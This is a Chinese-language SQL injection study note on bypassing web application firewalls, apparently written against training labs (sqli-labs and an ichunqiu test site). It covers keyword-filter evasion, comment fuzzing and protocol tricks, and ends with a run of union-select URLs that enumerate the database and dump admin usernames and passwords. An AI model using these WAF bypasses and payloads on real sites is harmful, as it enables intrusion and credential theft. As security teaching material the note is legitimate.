SQL注入笔记 10#

Sql注入绕过WAF的方法##

1.白盒绕过
2.黑盒绕过
3.Fuzz绕过WAF

白盒绕过:

Sqli-labs:

less-25




function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
	
	return $id;
}




代码审核分析:

使用了blacklist函数过滤了’or’和’and’

2.绕过限制的方法有:

(1)大小写变形:Or,OR,or

(2)等价替换: and→&&,or→  

等等例如:OorR消除or剩下OR没有消除。

因为/AND/i 后面的i是指忽略大小写的意思,我们用不了大小写, 只能用等价替换的方法将and→&&,or→|| 进行绕过限制,从而达到实现注入的目的。

黑盒绕过:

一、架构层的绕过WAF

1.寻找源站→针对云WAF

2.利用同网断→绕过WAF防护区域

3.利用边界漏洞→绕过WAF防护区域

二、资源限制角度绕过WAF:

1.POST大BODY

(针对于WAF可能会忽略大的数据包,通过在数据包穿插注入语句从而实现注入。)

三、协议层面绕过WAF的检测:

1.协议未覆盖绕过WAF

*请求方式变换:GET→POST *Content-Type变换:application/x-www-form-urlencoded;→multipart/form-data;

2.参数污染

index.php?id=1&id=2 添加多一些新的参数构成骚扰

四、规则层面的绕过:

主要的绕过方式

Fuzz绕过WAF

以注释绕过为例子,开始Fuzz

注释符绕过

*先测试最基本的:union/**/select
*再测试中间引人特殊字:union/*aaaa%01bbs*/select
*最后测试注释长度:union/*aaaaaaaaaaaaaaaaaaaaaaaaaaa*/select

最基本的模式:

union/* something */select

##以安全狗实验为例子:

我们通过构造注释符绕过

我们利用burp进行fuzz

http://www.test.ichunqiu/About.php?id=-1 and 1=1 order by 6 --+ http://www.test.ichunqiu/About.php?id=-1 union select 1,2,3,4,5,6 --+

http://www.test.ichunqiu/About.php?id=-1 union select 1,2,3,(select group_concat(schema _ name) from information _ schema.schemata),5,6 --+

http://www.test.ichunqiu/About.php?id=-1 select 1,2,3,(select group_concat(table _ name) from information _ schema.tables where table _ chema='zzcms'),5,6 --+

http://www.test.ichunqiu/About.php?id=-1 select 1,2,3,(select group_concat(column_name) from information_schema.columns where table _ name='zz _ admin'),5,6 --+

http://www.test.ichunqiu/About.php?id=-1 select 1,2,3,(select group _ concat(name,'~',password) from zz _ admin),5,6 --+ ![](http://pav99tlz4.bkt.clouddn.com/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20180911165732.png)

进入后台

赞 赏